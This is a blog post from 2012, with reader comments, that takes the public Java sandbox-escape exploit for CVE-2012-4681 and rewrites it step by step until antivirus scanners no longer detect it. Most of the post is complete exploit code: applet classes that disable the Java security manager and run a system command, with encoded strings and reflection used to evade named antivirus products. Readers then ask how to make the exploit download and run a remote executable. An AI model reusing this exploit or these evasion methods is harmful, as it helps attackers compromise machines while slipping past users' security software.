Thursday, November 15, 2012

Java Exploit Code Obfuscation and Antivirus Bypass/Evasion (CVE-2012-4681)

Why not play a game where we try to make the latest (at time of writing) public java exploit (CVE-2012-4681) undetected by all antivirus and see who will be the last to detect it ?. I think it will be a funny "challenge" because evading antivirus has always his charm.

I will not use software obfuscators like proGuard, Allatori, Zelix KlassMaster etc... This because will not be funny. This is not intended to be an analysis or explanation because there are already great post here:

Before we start we need to make two considerations:
  • From The Current Web-Delivered Java 0DaySo while you may see a few links to Virustotal with the inevitable complaining that a scanner is missing a specific chunk of altered code along with innaccurate claims that "AV is dead!" or "AV can't detect it", you should take them for the grain of salt that they are. The real story about client side mass exploitation is more complex than those claims.
  • The sequence of bypassed antivirus mainly depends on how i modify the exploit/flow.

Last Antivirus Standing

Who will be the last ? make your guess.

Let's start just copying the code from jduck poc taken from here: http://pastie.org/4594319. Upload compiled applet (.class file) to virustotal and we start with a detection of 23/43, first popular fall are from  Kaspersky, McAfee, Panda.


Virustotal link here.
Full image here.

One important thing are strings, as you can see there are few of them, for example (sun.awt.SunToolkit, file://, forName etc..). On step to bring down detection is to obfuscate these strings. For example
sun.awt.SunToolkit will become a char array. There are a lot of other ways to obfuscate a string  for example using StringBuilder, hex to ascii, decimal to ascii, string.replace and so on.

// setSecurityManager
String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
//sun.awt.SunToolkit
char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
// file
char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47};
// forName
String   ad = "or",me = "me", aw = "f", kl = "Na";
// getField
String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; 

Once done, compile and reupload it again.


Virustotal link here.
Full image here.
Code here.

As you can see just obfuscating a bunch of strings can decrease antivirus detection. Twelve antivirus are out of the game, most notable defeats are from Microsoft, Symantec, TrendMicro and DrWeb.

Now we can clean a bit the code because we don't need functions like paint. In addition we change applet name from Gondvv to Java, merge code from setField with diableSecurity and have a function named disableSecurity  is not a good thing. Now the code will look like this.

public class Java extends Applet
{
    // setSecurityManager
    setSecurityManagerString secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
    //sun.awt.SunToolkit
    char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
    // file
    char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47};
    // forName
    String   ad = "or",me = "me", aw = "f", kl = "Na";
    // getField
    String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; 

    public void enableSecurity() throws Throwable
    {
        Statement localStatement = new Statement(System.class, secMan.replaceAll("\\d",""), new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(new String(file)), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = Statement.class;
        arrayOfObject[1] = "a"+"c"+"c";
        Expression localExpression = new Expression(GetClass(new String(sun)), field.replaceAll("\\d",""), arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(localStatement, localAccessControlContext);
        
        localStatement.execute();
    }

    public void init()
    {
        try
        {
            enableSecurity();
            Runtime.getRuntime().exec("calc");
        }
        catch(Throwable t){}
    }
    
    private Class GetClass(String paramString) throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, aw+ad+kl+me, arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }    
}

Once again compile and reupload.



Virustotal link here.
Full image here.

Ratio is 9/44, Avast and MicroWorld-eScan fall under a simple function/class renaming. Now we modify a bit the flow and renaming all variables, for example localPermissions will be pe. Once again reupload to virustotal.

Damn detection ratio still 9/44 (same picture above). How we can drop detection ? simple, do the same thing but in another way. When i try to make an exploit to be undetected by antivirus i start testing line by line following the flow of the exploit and see which line trigger some antivirus. In this case from line 32 we start triggering F-Secure.




Another tip is to remove some variables and see if detection ratio change, in this case if we remove Statement.class and substitute it with null detection will go from 9/44 to 7/44.




Virustotal link here.

Thus, can i retrieve Statement class in another way ? For sure and we have this method under our nose because instead of using other ways like Class.forname("Statment") we can use GimmeClass.


Reupload .class file to virustotal and let's see if that works.


Virustotal link here.
Full image here.

Code here.

public class Java extends Applet
{
  // setSecurityManager
   String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
    //sun.awt.SunToolkit
    char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
    // file
    char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47};
    // forName
    String   ad = "or",me = "me", aw = "f", kl = "Na";
    // getField
    String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567";

public void enableSecurity() throws Throwable
{
   Object ao[] = new Object[2];
   ao[0] = GimmeClass("java.beans.Statement"); //Statement.class;
   ao[1] = "a"+"c"+"c";

   Expression e = new Expression(GimmeClass(new String(sun)), field.replaceAll("\\d",""), ao);
   e.execute();
   Field field = (Field)e.getValue();


   Permissions pe = new Permissions();
   pe.add(new AllPermission());

   CodeSource cs = new CodeSource(new URL(new String(file)), new Certificate[0]);
   ProtectionDomain pd = new ProtectionDomain(cs, pe);

   AccessControlContext ac = new AccessControlContext(new ProtectionDomain[] { pd });

   Statement stat = new Statement( System.class,secMan.replaceAll("\\d",""), new Object[1]);
   field.set(stat, ac);
   stat.execute();
}

public void init()
{
   try
   {
      enableSecurity();
      Runtime.getRuntime().exec("calc");
   }
    catch(Throwable t){}
}

  private Class GimmeClass(String ps) throws Throwable
  {
     Expression le = new Expression(Class.class, aw+ad+kl+me, new Object[] {ps});
     le.execute();
      return (Class)le.getValue();
  }    
}
Now detection ration is 7/44 and AVG and ESET are gone.

Again we remove some part of the code to see where detection will change. If we delete last three lines of code detection will be 0/44. But these lines instantiate a class and call a method, how we can do this in another way ? Simple, we use reflection.

From Stackoverflow:
The name reflection is used to describe code which is able to inspect other code in the same system (or itself).
For example, say you have an object of an unknown type in Java, and you would like to call a 'doSomething' method on it if one exists. Java's static typing system isn't really designed to support this unless the object conforms to a known interface, but using reflection, your code can look at the object and find out if it has a method called 'doSomething', and then, call it if you want to.
Using java documentation from here and there, we instantiate a class and call two methods with reflection.

Before:
Statement stat = new Statement( System.class,secMan.replaceAll("\\d",""), new Object[1]);
field.set(stat, ac);
stat.execute();

After:
Class statClass = GimmeClass("java.beans.Statement");
Constructor con = statClass.getConstructor(new Class[]{ Object.class, String.class, Object[].class});
Object stat = con.newInstance(GimmeClass("java.lang.System"),secMan.replaceAll("\\d",""), new Object[1]);
field.set(stat, ac);
Method m = stat.getClass().getMethod("execute");
m.invoke(stat);

First we check if the exploit works, to see if we messed up something, but no it works. Ok, now upload to virustotal and should be a nice 0/44 detection..



Virustotal link here.
Full image here.
Code here.

Damn we were so close. One antivirus detect our exploit. Guess who is back ?


Since it is the last to detect our exploit Microsoft Security Essentials is the winner of this small competition. This post can't end here because we want to made our exploit fully undetectable. Take a look at these two lines below.

Permissions pe = new Permissions();
pe.add(new AllPermission());

Why not use reflection. Then become:

Class alPerm = Class.forName("java.security.AllPermission");
Class perm   = GimmeClass("java.security.Permissions");
Object pe= perm.newInstance();
Method method = pe.getClass().getMethod("add", GimmeClass("java.security.Permission"));
method.invoke(pe, alPerm.newInstance());

Once uploaded to virustotal detection ratio is ...



Virustotal Link here.
Full image here.
Code here.

Great! If we create a jar file it will be detected ?


Virustotal link here.

As class file it is not detected.

Now we can test it on a windows machine with security essentials installed to see if really works. To do this test i used Windows 8 which has windows defender (security essentilas) installed by default.


It works!. I now this can't proof anything (it's just a picture) but soon i will post a video about this. You can find the video here.

Hope you enjoyed.

Step by step java exploit code: 1/5, 2/5, 3/5, 4/5, 5/5.

References.
- Creating new class instances
- Invoking methods
What are all the different ways to create an object in Java?
How do I invoke a java method when given the method name as a string?

24 comments:

  1. Good work, using reflection is a great idea. I did something similar some months ago with another java-exploit but didn't start with the source, just had a .jar from metasploit (yes, it's not totally open source). the first two virusscanners failed after I decompiled and recompiled ;)

    ReplyDelete
    Replies
    1. Thank you :), yes reflection is great way to obfuscate code. Similar story happened to with java rhino exploit, just changing few lines of code made it undetected by all av.

      Delete
  2. So you need a license to make guns but you can write exploits freely...

    ReplyDelete
  3. exploits don't kill people

    ReplyDelete
  4. Last Antivirus Standing? More like Last Antivirus Manual File Scan Standing.

    ReplyDelete
  5. I would be much more impressed if you could provide a detection method which is immune to such code changes and has no false positives AND reasonable performance for a scan engine.

    BTW, anyone with a clue how AV products works knows that VT testing is useless.

    ReplyDelete
  6. It seems that some AV were update...

    ReplyDelete
    Replies
    1. You mean this ?
      https://www.virustotal.com/file/62779b9d99042d50751514eb47502435b95d29427e3039c5380192ec1780b8b9/analysis/1353537320/

      Now with a few changes is back to 0/43

      https://www.virustotal.com/file/35de0a25a9be5964581707197583a8ea69af600011e57358cd2b1c27bc85db2a/analysis/1353537166/

      Delete
  7. Does not work on XP SP3 with Java 1.6.30 apparently.

    ReplyDelete
  8. Security Essentials has caught up with this, maybe they read your post? :)

    http://imgur.com/OshCj

    ReplyDelete
    Replies
    1. After some silly changes it wasn't detected anymore. Apparently encoding the strings differently is enough.

      Delete
    2. Yes, modify some strings is enough.

      Delete
  9. can someone pastebin a version to accept url please? or tell me how ?

    ReplyDelete
    Replies
    1. What do you mean ? Passing parameters to Applet ? http://www.cafeaulait.org/course/week5/16.html

      Delete
  10. Paste the url where you put the code exe

    ReplyDelete
  11. Runtime.getRuntime().exec("http://somedomain.com/calc.exe");

    do you mean this? i think i tried this and it did not work.

    ReplyDelete
  12. What do you mean ? Passing parameters to Applet ? http://www.cafeaulait.org/course/week5/16.html

    that is your last post and i don't see the answer on how to add url .

    ReplyDelete
    Replies
    1. I mean blog post: http://security-obscurity.blogspot.it/2012/12/attacking-windows-8-with-java-exploit.html

      Delete
  13. I am basically not a programmer and I am comparatively new to Java technology , so I was wondering what all topics should be covered up if i have to start java from the start and has any one
    studied or got any info regarding this 6 week java training online course http://www.wiziq.com/course/12145-the-6-week-complete-java-primer-with-training-certificate and should we also have knowledge of C language before we further move on to Advance Java topics??

    ReplyDelete